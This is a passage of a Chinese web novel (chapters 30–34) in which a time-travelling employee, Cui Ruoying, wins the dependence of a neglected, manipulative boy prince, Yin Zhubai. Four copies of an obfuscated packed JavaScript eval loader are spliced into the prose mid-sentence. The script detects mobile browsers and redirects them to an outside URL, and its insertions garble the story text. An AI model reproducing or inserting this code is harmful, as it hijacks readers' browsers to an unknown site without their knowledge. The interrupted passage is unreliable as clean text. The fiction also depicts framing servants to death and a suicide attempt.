她的鬓发被他的呼吸吹动,冷冷地飞扬。崔若盈被他冷得动弹不得,只能感觉到他冰冷的指尖顺着她的锁骨向下滑动,刹那间就化作一把冰刀。 在她惊恐的眼神中,冰刀毫不犹豫地刺入她的心脏。 崔若盈被噩梦惊醒。抬起头,才发现天已经黑了。 窗户不知何时被吹来,夜风裹着细雨,吹得她身上一片寒冷,像是殷逐白在拥抱着她。怪不得她会做那么冷的梦。 崔若盈揉了揉被压出褶子的手臂,朝着窗外望去。 昏沉沉的云在天空中凝聚,挡住皎然的月光,唯有细雨点缀着夜晚。隔着幽幽的雨帘,庭院下草木摇曳,宫墙君临于细雨中,隐隐能辨明它威严的魅影。 崔若盈站起身出了门。来到主殿,她看到那两个食盒仍放在原处,没有被动过的痕迹。 殷逐白还没吃饭吗? ——她不知道自己是否还应该叫他殷逐白。 崔若盈拎着食盒,打算叫他出来吃饭。她走到他房门前,正打算敲门,却发现他房间的门虚掩着,里面空无一人。 不在房间里? 崔若盈感觉不妙。她放下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795126|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食盒,沿着长廊,挨个房间寻找殷逐白。 西宫没有灯光,崔若盈就在系统商城里花费一点能量买了个提灯照明。 灯火照亮银针般的细雨,金红火光照在茂盛的草木上,拉出纤长的黑影。 西宫荒芜破败,房间却真的不少。据说西宫从前是正经宫殿,但宫内有传闻说此地风水不好,住进此宫的妃嫔都早早病逝。 因为这个,西宫就被荒废了,只不过宫室整体的构造还算完整。 崔若盈顺着长廊,挨个房间查看。这些房间闲置已久,里面堆满杂物,一打开就是呛人的灰尘。 只是崔若盈顾不上这些,急切地寻找着殷逐白的身影。 绕过满是积水的长廊,崔若盈的足音如阵雨般急促,衣裳已经湿了大半。再转个弯,到了更加荒芜的后院,崔若盈顿住脚步。 远远地,她看到殷逐白的背影。 庭院很久没被打理过,花花草草肆意野蛮地生长着,有些已经越过栏杆分割出的鲜明界限,长到了长廊上。 殷逐白坐在朱红色的栏杆上,纷乱的花草亲密地贴着他的衣角。灯光映着细雨,波及到他的身上。 崔若盈看到他身边有几枝浅黄色的月季。那花朵自顾自地生长着,远没有御花园的花那样精致美丽,枯败而残缺地随风动摇,仿佛想躲避灯笼明亮的光。 “……殿下?”崔若盈踩着水洼走过去,“你怎么在这里?” 殷逐白别过头,像那枝丑陋的月季花一样,抵抗着亮光。过了一会儿,他才开口,说的话却是牛头不对马嘴。 “你是来辞行的?” 崔若盈拧眉:“辞行?辞什么行?” 她怎么不知道自己要走? 殷逐白笑了一声,声音冷冷的,像是秋天的雨。 “你喜欢谢流玉,就去他那里,他肯定愿意。” 崔若盈总算是明白怎么回事了。 她笑了一声,抬脚走到殷逐白的另一侧。暖黄的灯光像是一朵巨大的蒲公英,随着她的脚步移动。 “殿下,我要是走了,你怎么办?” 烛光透过灯笼外一层薄薄的纱,终于落到他的脸上,如同一层氤氲的雾。殷逐白咬了咬嘴唇,又扭过头,把脸转到了另一侧。 “我早就习惯了。” 没错。他早就习惯了。 明明只和谢流玉差了几岁,待遇却天差地别。 谢流玉生来就什么都有。母亲的宠爱,宫人的赞美,他天生优秀,性格光明磊落,得天地眷顾,即使是殷逐白,也说不出一句不是。 可他呢? 他连名字都没有。 可是,即便他早已经接受了被人厌弃的事实,也早已预料到,崔若盈早晚有一天会受不了主动离开,但真的见到她跟着谢流玉离开时,隐藏在内心最深处的不甘仍旧如同海浪一般,将他脸上所有伪装出的淡然冲垮。 她喜欢谢流玉吗? 为什么连她也喜欢谢流玉? 檐角挂着的铜铃狂乱地摇摆,发出乱人心神的响声。在这狂音与乱雨交错的瞬间,殷逐白的心中,突然生出了无与伦比的憎恨与渴望。 31. 她的礼物 憎恨什么? 渴望什么? 连他自己也不明白。那尖锐而深刻的感情在他心中萌生,却像是隐藏在朦胧春雾后的鲜妍花朵,无论如何也看不真切。 但殷逐白知道,他不想让崔若盈离开。 她是唯一一个愿意陪着他的人,也是溺水者能抓住的唯一一根救命稻草。 即使他不十分了解她,她也不了解他,但殷逐白对崔若盈,还是拥有近似雏鸟依赖成鸟般的情愫。 雨水从屋檐落下来,狂乱地拍打着铜铃。细细密密的雨丝在他的眼睫凝聚而落,像是一串串透明的珍珠。 被雨水浸透的衣裳包裹着皮肤。很湿、很重,衣领紧紧箍着脖颈,雨水化作看不见的绳。 殷逐白要溺水了。 水涌进鼻腔,他感觉自己正在垂死挣扎着,想从跳动的暴雨中逃开。可雨水却化作暗沉无光的锁链,将他四肢紧紧束缚。 令人窒息。挣脱不能。 但一转眼,他却发现自己一直静坐在雨中,分毫不曾动过,在水中挣扎的瞬间像是由灵魂演奏的一场幻梦。 殷逐白抬起头,看向崔若盈。她穿着掌宫的橘色衣裳,立在潮湿荒芜的长廊中,像是伫立在暗色海水中的一根救命稻草。 崔若盈俯下身,柔软的发丝潮水一样倾泻:“你的嘴怎么了?” 刚才灯光昏暗没注意。现在凑近一看,她才发现他的唇上有着被撕咬出来的殷红伤口。 殷逐白的脸色因淋雨而苍白,那几道伤口盘踞在他白皙的脸上,愈发引人注目。 “自己咬的。” “为什么要咬自己?” “不小心。” 不小心……她看是故意不小心的。 崔若盈无奈了。 没想到反派年纪这么小,脑子就有病,怪不得以后会变成那个死样子。 她想了想:“我去给你找点药膏涂一涂?” 反派小小年纪,本来都这么惨了,要是破相了可就太悲催了。 殷逐白用指尖抚了抚嘴唇。冰冷的手指碰到唇上,非但没能缓解痛感,反而让那灼烧般的痛意更加鲜明。 它好像在提醒他:刚刚就是这个叫崔若盈的女人,把他一个人抛弃在身后,去追谢流玉了。 叛徒。骗子。 见崔若盈还想凑近看看伤口是怎么回事,殷逐白拧眉,隐忍地偏过头,躲开她的目光:“不用你管。你还是去找谢流玉吧。” 看着殷逐白一副非暴力不合作的样子,崔若盈深吸一口气。 老天奶啊,她本来也不比殷逐白这家伙幸运多少,自己也是一路倒霉走过来的,为什么偏偏要忍着脾气,给这死阴暗批当保姆! 不想干了!反正殷逐白好感度都是负的,她还为了讨好他费尽心机! 崔若盈直起身体,平复了一下心情。她没有再说什么,冷冷道:“那我走了。” 搞不好,谢流玉才是真正的殷逐白呢。 崔若盈抹了把脸上的雨水。长廊年久失修,早已挡不住风雨,而为了找殷逐白,她都没撑伞,身体早已湿了大半。 湿透了的衣裳闷闷地贴在胸口。崔若盈捋了捋头发,抬脚就要离开。 她真的要走? 伤人的快意只持续了一瞬间,慌乱就如暴雨,满溢心中。殷逐白来不及多想,下意识地伸出手,却只捉住她的一片衣摆。 崔若盈只觉得衣裳一沉,扭头一看,就看到了一只苍白而雪亮的手。 灯笼因猝不及防的驻足而摇动,混乱的火光中,他抬起头,声音飘到崔若盈耳边。 “不许走。” 崔若盈:“……”诶呦喂,还霸道上了,她怎么就这么不爽呢。 而且,不是他非让她去找谢流玉的吗?现在又拽着她不让她走,是几个意思? 崔若盈看了眼殷逐白,用手抓住衣摆,使劲儿一拉—— 没拉动。 殷逐白死死抓住她的衣裳。 因为太用力,他的手背上已经迸起道道树根般的青筋。橘黄色的衣摆被他攥出一条条褶皱,衣褶的阴影在他掌心汇聚,像是道道绳索。 “你不能走。” 喃喃细语被风吹散,崔若盈侧耳细听,才听到只言片语。 “你说过不会走的……” 他仰头看着她,脸上的表情被细雨冲刷得一干二净,几乎只剩一片空白。 崔若盈感觉自己被气笑了。她这么想着,然后就真的笑了出来。 但不是温暖如春的明朗笑容——这笑容是冬日的阳光,纵然明媚,却也不会给人带来丝毫的暖意。 她没有再扯着衣裳,只是静静地看着他,语气温柔且残酷:“原来你是觉得我不会走,才敢这么说的。” 恃宠而骄。 原来她对他太好了,才让他有了这种可以操控她情绪的错觉。 衣摆的那一端还攥在他手中,崔若盈伸手扯住衣摆,想将衣服从他手中拽出来。 崔若盈身负灵力,为了任务东奔西走,力气可不是一个天天吃青菜的小屁孩能比的。 殷逐白死死抓住衣裳,不肯有丝毫松动。可即便如此,粗糙的布料仍旧摩擦着他的手,如流沙一般从他掌中滑出,他越是努力地想要抓住,它就越快地从他掌心流逝。 眼看着衣服就要被扯走,殷逐白又伸出右手。因为动作过大,他身体的重心偏移,狠狠地摔在长廊的积水中。 水花飞溅,落在他的脸上。明亮的积水瞬间被摔得破碎,只剩下点点残破的光辉。 殷逐白仰起头,散乱的黑发在长廊的地板上狼狈地交错,像是早已枯死的藤蔓,水分早已蒸发,只剩羸弱的尸体还滞留在原地。 “别走。” 他咬了咬嘴唇,停顿几秒,又放轻声音,低声重复了一遍:“姑姑……求你别抛弃我。我只是、只是……” 只是什么呢? 他只是太过害怕。 只是太过卑弱,太过担忧,太害怕噩梦降临,所以恐惧失去,所以不断摇摆,所以口不择言地试探她的态度。 原本这种恐惧尚且处于可控制的范围,可谢流玉的到来,彻底让恐惧失控。 他太害怕死亡,所以选择了自杀。 可当脖颈套入绳索,他才发现死亡比想象中还要可怕万倍。 她不能走。 他不能让她走。 殷逐白挣扎起来,像是一条濒死的鱼。崔若盈没想到他反应会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799544|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么大,略有些怔忪。 在她心中,大反派殷逐白沉着冷静、把全世界都玩弄于股掌之中。 他永远都是一副温柔沉静、成竹在胸的模样,崔若盈还是第一次见他这样狼狈,就像是一条即将搁浅而死的鱼。 察觉到崔若盈的一瞬间怔忪,殷逐白抓住机会,立刻咬住她的衣裳。他这下再也说不出任何祈求的话了,只有一双眼睛看着她。 提灯的光在他眼中汇聚成一个金色的小点。夜色太过艰涩晦暗,崔若盈看不清他眼眸中究竟盛着什么样的情绪。 但她忽然意识到,这个小反派,算是攻略得差不多了。 ——如果他是殷逐白的话。 现在放弃他,未免太过可惜。 而且崔若盈说要去找谢流玉,也就是说说。她是空降到这个时间线的,根本没有门路调到谢流玉那边,就算调过去,也没理由接近他。 谢流玉是个正人君子,估计不会对抛弃自己弟弟的宫女有什么好感。 要是那样,可就真的没退路了。还不如先稳住这个殷逐白。 崔若盈忽地冷静下来。 她半蹲在廊下。铜铃清脆的声响飞过她耳边,黯淡的花影印在她的脸上,在那里停留了几秒,而后缓慢地摇曳起来。 崔若盈伸出手,轻轻摸了摸他的头。 他的发丝被淋湿了,细软地塌在一起,缠绕在她的指尖上,不忍离开。崔若盈只是轻轻碰了碰,就收回了手,垂下眼帘看着他。 殷逐白也抬头看着她。他还咬着她的衣服,生怕她只是虚晃一枪。 两人的目光就这样在夜晚与细雨中交汇。 崔若盈目光闪动,像是繁星在夜幕起舞。她微微笑了笑,笑容一如既往地灿烂温暖,像是迟暮的太阳。 “你真不想让我走?” 殷逐白点点头。 崔若盈道:“那我就不走,好不好?” 殷逐白有些迟疑。过了一会儿,他才吐出嘴里苦涩的衣裳,轻声应道:“好。” 崔若盈恍惚了一下。 她想起了未来的青年殷逐白——他也总喜欢淡淡地、轻轻地,说一个“好”字,语调总是温温柔柔,像是情人间充满温情的耳语。 但很快,她又回过神。崔若盈站起身,又伸出一只手。殷逐白搭上她的手,离开了冰冷的庭前积水。 “今天是殿下的十四岁生辰吗?” 殷逐白垂头:“是十五岁生辰。” 他的视线缓缓下移,落在崔若盈的手上。她拉着他,掌心很温暖,像是春天的太阳。 他渴望这样的温度。 崔若盈则是有些意外。 原来他的年纪比她想象中要稍大一些。 但她也只是错愕一瞬,脸上的笑容又恢复如初。 崔若盈将他拉到屋檐下,风和雨全被挡在外面,只有灯光依旧,在冷气中绰约地摇动。 崔若盈道:“殿下,我有礼物要送给你。” 殷逐白抬眼:“礼物?” “没错。” 崔若盈笑了笑,上挑的眼睛像是小动物一样眯起。她的笑容,像是涂满了甜美的砒霜。 “殿下,我送你个新名字,好不好?” 32. 如何讨崔若盈欢心 殷逐白看着她。 在濛濛细雨中,她的面影像是迷雾一般氤氲,散发出朦胧的光辉,一双眼则是眯起来,温和地看着他。 名字。 对他来说,这是个陌生的字眼。 从出生那一刻开始,他就被交给其他人抚养。他的母亲连看都不曾看他一眼,更别说给他取名字。 他的父亲李侧君曾求她给他取个名字,却被无情斥责了一顿。 李侧君是个很聪明的人,知道女皇不待见他,于是便派人将他带到闲置的后殿抚养,没有命令不得外出。 殷逐白在他的后殿长大,后来又被扔到西宫,十几年过去,他连一个属于自己的名字都没有。 不是没想过给自己取个名字。可是就算有名字,又有谁会叫呢? 殷逐白略微后退一步,单薄的后背抵到门框,发出一声闷响。 他紧张地攥了攥掌心,掌心传来刺痛——殷逐白偷偷看了一眼,才发现不知何时,他的掌中多出了几道血痕。 想来,是刚刚太用力去抓崔若盈的衣摆,不小心被磨破了。 殷逐白不觉得疼痛。掌心传来的鲜明痛感,反而让他心中升起丝丝缕缕的快意。 他把崔若盈留住了。 她还要给他取个名字。 殷逐白抿着嘴唇,用黑亮的眼瞳看着她:“好。姑姑给我取什么名字都好。” 他不在意名字是否好听。他只想有个名字、有个能呼唤他名字的人。 “殿下真听话。” 崔若盈又摸了摸他的头。发丝细软,像是被雨淋湿的小猫一样,而且他也不反抗,还顺从地低了低头。 多摸几把。等回到正常时间线,殷逐白肯定不让摸了。 “那么,殿下就叫……小白吧。” 小白。 像是什么小猫小狗的名字。 殷逐白笑了笑。 名字很敷衍,但他喜欢。因为这是她给他取的、真真正正属于他的名字。 “好。”他看着崔若盈,“姑姑以后,就叫我小白吧。” 崔若盈:“……”他都不反抗一下的吗? 这也太好欺负了。 崔若盈心中突然生出一丢丢的愧疚来。她清咳一声,小声道:“是不是太敷衍了?要不,我给你重新取一个?” “不用了,姑姑。”他露出纯良的微笑,“姑姑给我取的名字,我很喜欢。” “……好吧好吧。” 只要这家伙以后觉醒记忆,别因为这个名字记恨她就行了。 “雨大了,快回去吧。” 崔若盈弯下腰,捡起不慎掉落在地的提灯。灯影摇晃,她的影子彻底包裹住他的身体。 影子轻轻,没有重量、没有温度,却让他感受到她灼热的体温。殷逐白听话地跟在她的身后,走在她的影子中,好像自己正在被她拥抱着。 他离不开崔若盈。 他不能离开她。 海潮般涌动的灯光中,只有这两个念头深深地刻在他的脑海里,渐渐扎根,毫不动摇。 离开后殿,两人各自回房间,换掉潮湿的衣裳。崔若盈脱下衣服,突然“咦”了一声。 她发现自己裙摆上多出了几道暗红色的血痕。那痕迹稀稀拉拉,附着在褶皱之中,像是蝴蝶翅膀上的红色鳞粉。 是殷逐白的血? 为了不让她走,他还真是够拼命的。 崔若盈理解殷逐白对自己的感情。这不是真正意义上的爱,而是依赖。 一无所有的人,总会攥紧自己唯一拥有的东西,时时刻刻守着,一步也不肯离开。 崔若盈扯动嘴角,微微笑了笑。 这种感情不太健康,但没什么不好。现在这个殷逐白越依赖她、越离不开她,她攻略成功的可能性就越高。 崔若盈将脏衣服挂到一边,提着灯转身出了门。她晚上没吃饭,已经有点饿了,想必殷逐白也差不多。 谢流玉带来的食盒还没动过,只是彻底凉了。 正好西宫里有个荒废了的小厨房,勉强还能用。前几天崔若盈把小厨房收拾干净了,又从系统中兑换了一些干柴。 系统商城什么都卖,包括一些日常用品。这些东西一般价格都极低,崔若盈买起来也不心疼。 崔若盈到小厨房把饭菜热了热,又拎着饭菜去找殷逐白,结果刚离开小厨房,就听到殷逐白在叫她。 转过回廊,就看殷逐白站在她房间门口,眸光沉沉,盯着她半敞开的房门,眼神晦暗。 “姑姑……” 崔若盈拎着食盒走过去,疑惑地朝里面望了眼,又拍了拍他的肩膀:“小白啊,你站在我房门口干什么?” 听到她的声音,殷逐白骤然回过神:“没,没什么。” 崔若盈随口道:“说谎的孩子不乖哦。” 她只是随口一说,殷逐白却垂下眼眸:“对不起,姑姑。我只是以为你抛下我走了。” 崔若盈道:“只要你别再惹我生气,我就不会离开的。” 什么?时空回溯券的滞留权限只有三个月? 对崔若盈来说,这根本不算问题。 算准时间,找个机会死遁不就行了?这种招数她可没少用过。最好还是为反派而死,这样才能让他永远地记住她。 至于她离开后殷逐白会怎样……那可不是她该管的。 崔若盈就是这么一个看似温暖,实则冷酷无情的人。 崔若盈的随口许诺极为不负责任,殷逐白却相信了。 过于宽大的衣袍套在他的身上,像是柳条一样摇摇晃晃。殷逐白的眼睛亮亮的,像是盛满了星子,在他的眼中,满藏希冀。 他轻轻地说道:“我会让你开心的。” 可是,该怎么让一个人开心呢? 殷逐白有些不懂。 他的出生,笼罩在死亡的忧郁中。仿佛在那一刻,他的一生就被定下了晦暗忧愁的基调。母亲厌恶他,父亲无视他,连宫人也对他避之不及。 殷逐白还记得幼年时的事。 那时候,他还待在李侧君的后殿,唯一的游戏,就是坐在窗前,看着窗外的阳光。宫人们的窃窃私语随风传入他的耳中,日光下,那私语中的恶意无处隐藏。 他只是静静地听着,从未想过讨好宫人。他厌恶他们,也憎恨他们,这股恨意在心中疯长,怒火却被隐藏在平静的海面之下。 终于,殷逐白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804589|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 找到了一种发泄怒火的方法。他开始操控人心,在这些宫人间挑拨、栽赃、陷害。 原本要好的宫人反目成仇,互相攀咬。有个最爱说他闲话的小太监被他陷害偷盗财物,甚至受刑致死。 殷逐白没有愧疚。 那一日,他远远地注视着那个小太监的尸体被拖走,在地上留下几道鲜明美丽的红色血痕。 血腥味在空气中蔓延,风中夹杂着冰冷的铁锈味。等围观的人离开,殷逐白就从躲藏的宫墙后走出来,站在那浓烈的血气之中,心中突然升起一阵前所未有的快意。 这,大概也就是他唯一的快乐。 可没过多久,李侧君就发现了他的小把戏,将他赶到了西宫。 这里没有人让他挑拨、没有人被他陷害。长日无光,荒芜的宫殿中,殷逐白失去了唯一的快乐。 但这似乎是值得的,因为他等到了崔若盈。崔若盈不仅能让他快乐得飞上云端,也能让他痛苦如坠地狱。 也许,痛苦、快乐和爱,本就是没有区别的东西。 “姑姑。”他声音像是蜻蜓点水,随着雨滴落下,“我该怎样,才能让你开心呢?” 殷逐白的声音太小,转眼间就消散在雨中,连他自己都险些没听清。 崔若盈显然没听到他的话。她正把饭菜从食盒里拿出来,一盘一盘地摆在桌上。 谢流玉送来的菜还不少,而且看起来就很精致,真是个好人。崔若盈一边摆菜,一边道:“对了,我有个好消息要告诉你。” “好消息?” “嗯!”崔若盈点点头,“谢流玉答应帮我们说情,让陛下解除禁足。这样的话,你就能出去走动啦!” 西宫就这么大,用不了半个小时就能里里外外走遍,就算是正常人,时间长了也会被关出精神病来。 这样一想,她还挺同情殷逐白的。 说完,崔若盈就闭上嘴,等着殷逐白接话。可等了好一会儿,都没听到他的声音。 崔若盈疑惑地转过头,只见殷逐白垂着头,眼眸闪烁,一脸若有所思。 “能出去走走,你不开心吗?” 殷逐白点点头,又摇摇头:“姑姑开心吗?” 崔若盈如实道:“挺开心的。” 他又问:“那姑姑喜欢谢流玉吗?” 崔若盈思考了两秒:“挺喜欢的呀,他人那么温柔,还懂礼貌。” 谁不喜欢温润如玉的正人君子呢?更别说,他还疑似是她的攻略对象。 在真正确定他的身份之前,谨慎的崔若盈不会说他的一句坏话。 殷逐白扯了扯嘴角,笑容有些勉强:“……我明白了。” 崔若盈:“??不是,你明白什么了?” 这家伙,该不会又想让谢流玉难堪吧? 殷逐白却没有说话。他走到崔若盈身边,和她一起取出饭盒内的饭菜,动作轻柔。 一直到饭菜都被摆上桌,他才慢条斯理地放下手,那张熟悉的脸上,露出了崔若盈最熟悉的表情。 那是一个和煦如春风的微笑。 他似乎明白,如何讨崔若盈的欢心了。 她喜欢谢流玉? 那他就变成谢流玉。 33. 他要看着崔若盈 简单地吃了饭,又将食盒收拾好,崔若盈和殷逐白说了几句,就穿过长长的走廊,回到了自己的房间。 房间还有些潮湿。崔若盈从系统背包里拿出备用的蜡烛点上,烛光顿时照亮了黑暗的屋子。 崔若盈坐在窗边的藤椅上,轻轻呼出一口气,打开系统面板。面板上被锁定的好感度,让她感受到了丝丝不安。 她有些烦躁地敲击着桌子,声音如杂乱的雨丝般落下。忽地,崔若盈停下动作,耳边传来机械的系统音。 【员工A2902号】 这是她的代号。在时空委托公司中,员工没有名字,只有代号。 崔若盈皱起眉。她的老年机太落后了,连智能语音都没有。这个声音很明显不是来自于她的系统。 是总部发来的消息。不过,总部一般很少主动联系员工。 崔若盈顿了顿:“怎么回事?” 该不会是她擅自截留能量的事东窗事发了吧? 崔若盈有些心虚。幸好,总部系统并不是因为这个事找她的。 只不过,它要说的事,也不算多好就是了。 【检测到你标记的SE0166号世界即将进入封闭倒计时】 崔若盈心中一沉。 原世界封闭的速度,比她想象中还要快得多。她必须尽快攻略殷逐白,拿到任务的奖励。 原本因为攻略有进展而放松下来的心情,因总部系统的提醒而再度紧绷起来。 “我知道了。”崔若盈沉沉地点头,“我会尽快完成任务的。” 总部系统沉默了一会儿。正当崔若盈觉得它已经离开了的时候,它忽然再次出声。 【A2902号,你真的要回归原世界?】 它的语气冷冰冰的,没有任何起伏,话语中却带着几分尖锐。 【只要再完成7个高级任务,你就能够晋升到S级。你知道,公司一直很器重你】 崔若盈脸上的笑容早已消失殆尽,毫不犹豫地回答道:“我要回家。” 【A2902号,我们检测到,你的信息早已被SE0166号世界删除了。就算你能回去,那个世界的人也不记得你了。而你,也早就忘记关于那个世界的大部分事情了】 崔若盈没有回答。 她沉沉地盯着窗外的雨幕,眼神随着烛火忽明忽暗。 【你可要想好了】 留下这句话,总部系统彻底离开。周围重归安静,只有淅淅沥沥的雨声依旧,夜风吹不断拷问着崔若盈的理智。 其实,给时空委托公司打工的日子,比想象中还要单调难熬。 最开始接任务的时候,她心中还有几分期待和新鲜感。但在世界之间跳跃的日子过久了,崔若盈很快就感觉到了厌烦。 崔若盈想回家,为了这个目标,她能够忍耐任何痛苦和疲倦。 可是,如果她的家忘记了她,而她也早已不记得家的模样,那么,那个地方对她来说,和做任务的小世界又有什么区别呢? 想了好一会儿,崔若盈才叹了一口气。 想那么多也没用,反正能量还没攒够。现在最重要的,还是快点把殷逐白给攻略下来。 崔若盈刻意忘掉了烦恼,准备睡觉。她吹灭蜡烛,黄豆大的烛火摇动一瞬,便猝然熄灭,屋内只剩一片黑暗。 “姑姑……” 殷逐白无声地张了张嘴。嘴唇相撞,发出的声音近似耳语。 他坐在长廊上,倚靠在她的窗下。夜风鼓动他的长发,薄薄的衣裳无法抵御夜晚的寒冷。 可殷逐白靠在墙边,却感受到了几分幻觉似的暖意。 他要守着她。 一直守着她。 这样,她就永远都无法离开。 他这样想着,沉沉睡去,嘴角还带着浅淡而轻柔的微笑。 直到天方破晓,旭日东升。淅淅沥沥的秋雨终于停了,日光穿破浓雾,顺着窗子照进房间。 崔若盈醒得很早。她穿戴整齐,推门朝着外面走去。 门刚一推开一条缝,崔若盈就注意到靠在门边的白色。雪白色团在一起,像是一只超大型的兔子,在雾中散发着模糊的光。 崔若盈:?? 崔若盈走到那一团白色边上,才发现那不是什么兔子,而是蜷着身体的殷逐白。 崔若盈:? 崔若盈更疑惑了。 她走到殷逐白的身边。鞋子踩过地板,发出“咯吱咯吱”的声响,殷逐白惊醒,猛地抬起头,和她来了个四目相对。 崔若盈:“你睡在这儿干嘛?” 她不免想起了当年在内河村,她被站在床边的殷逐白吓了个半死的事。 嘶,细思极恐啊细思极恐。 那时候殷逐白该不会也在她床边站了很久吧? 殷逐白站起身:“我担心你半夜需要我,就在这里等你吩咐。” 崔若盈没好气道:“我需要你什么?” 就殷逐白现在这身体羸弱的模样,不需要她照顾已经谢天谢地了。 “我看,你是怕我半夜偷偷跑掉。” 崔若盈翻了个白眼,伸手虎摸了下他的脑袋。还别说,殷逐白的发丝很软,手感还不错,她摸着摸着都有点上瘾了。 摸了两把,崔若盈收回手,却发现手上蹭了许多红色的粉末。再低头一看,发现殷逐白的额头上也有几点红色。 原来是墙壁上刷的漆掉色。他靠在墙边,头发上沾了不少红色。 崔若盈无奈了:“去打水,把头发洗一洗。” 殷逐白听话地去了。 后殿有一口井,西宫日常用水均来源于此。崔若盈烧了点温水,拿着木盆来到外面,用手指试了试水温。 还可以。 水光舔舐着木盆。随着她手指探入,盆中荡起金色的涟漪。崔若盈放好盆,看向殷逐白:“把头发放进去。” 殷逐白很听她的话。 他害怕她离开。只要她不走,那么无论她的命令多么奇怪、多么不正当,哪怕是要他去死,他也会去做的。 温热柔软的水渗入头发,黑亮的发丝浸入水中,像是一条有着黑色鳞片的蛇,在阳光与潋滟水波的间隙中爬行。 崔若盈把水涂满他的发丝。于是,他的发丝愈发的亮,发丝与发丝之间,闪烁着蜻蜓翅膀一样的鳞光。 他瑟缩了一下。 不知道是因为水温低了,还是不习惯他人的触碰。 木盆中装满了水。温柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809560|156401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的水波抚摸着他的脸庞,一上一下,十分轻缓。殷逐白睁大了眼,水浸到他的眼睛里,濡湿纤长的睫毛。 眼睛有些痛,甚至开始泛红。 但殷逐白没有闭眼。他透过一层半透明的水面,眼睛一眨不眨地看着崔若盈,似乎想将她的所有动作与表情都收入眼底。 他要看着崔若盈。 一直,一直。 崔若盈没注意到他那点小心思。她把他的头按在木盆中,用指尖拨弄着摇晃的水波,看着水面上破碎的阳光,思绪随之发散。 她想到了殷逐白——那个成年的殷逐白——的那一头黑发。 他总是一本正经地束着头发,好像把头发板板正正地梳着,再套上一件亮堂堂的衣裳,就能变成一个正人君子似的。 崔若盈摸过殷逐白的头发。实话实说,他的头发像是她手中的水波一般,温柔而光滑。 可惜,她不敢多摸。 想到这里,崔若盈忽然笑了起来。 手下传来轻轻的一声闷哼。崔若盈回过神,垂头向下看去。原来她刚刚想得入神,不小心扯掉了殷逐白的几根头发。 柔软的发丝缠在她的指尖,一圈又一圈,像是黑色的绳索。殷逐白半张脸还浸在水中,只能露出小半个白皙美丽的侧脸。 “姑姑。”水光荡漾中,他轻轻开口,“你刚刚在想谁?” 他看到了。 他分明看到了。 崔若盈刚才笑了。那灿烂的、仿佛朝阳的笑容,即使只出现了一瞬间,他也会将其永远铭记在心。 一定是谢流玉! 他的心又难以自抑地狂跳起来。嫉恨的情绪来得那么快,几乎在一瞬间就将他的理智冲垮了。 但是不行。 殷逐白还记得她的警告。 他要换种方法——换种更能讨好人的办法。 就像是他父亲讨好他母亲时的那样。 殷逐白深吸一口气,什么都没有说,脸上却刻意地露出郁卒的神色。他将头浸到水面下,潋滟的水波顿时将他淹没。日光在盆中荡来荡去,顷刻破碎。 崔若盈看他这样子,稍微有点心虚。毕竟刚才是她扯掉了他的头发,把他扯痛了。 “也……没想谁啊。”她咳了一声,“就是想到一个,额,一个人,长得和你有点像。” 和他长得有点像?! 殷逐白心中警铃大作,刚要说点什么,就听崔若盈道:“不过现在他不在了。” 原来是死了。 殷逐白脊背松下来,微微阖了阖眼。 死得好,死得妙。 虽然他并不知道那个人是谁。 崔若盈完全不知道殷逐白正在心里咒他自己死。 她从系统背包里翻出一瓶洗发水,在殷逐白的头发上狠狠挤了不少。再不用,这瓶花能量兑换出来的洗发水就过期了。 “闭上眼睛。” 殷逐白听话地闭上眼。 眼前只剩一片黑暗。暖烘烘的阳光透过眼皮,点点光芒点缀在黑暗中。眼睛闭上,其他的感官突然变得敏锐起来。 他感受到她的手指在他发间穿梭,带来些许痒意。与那直刺心底的痒意一同散开的,是柑橘清爽的香味。 34. 他不能让崔若盈被他们抢走!!^…… 清爽的柑橘气味渐渐散去,一天、两天,最终缭绕在心头。这一个多月,他就与柑橘香气为伴。 白天,殷逐白坐在廊下读书。 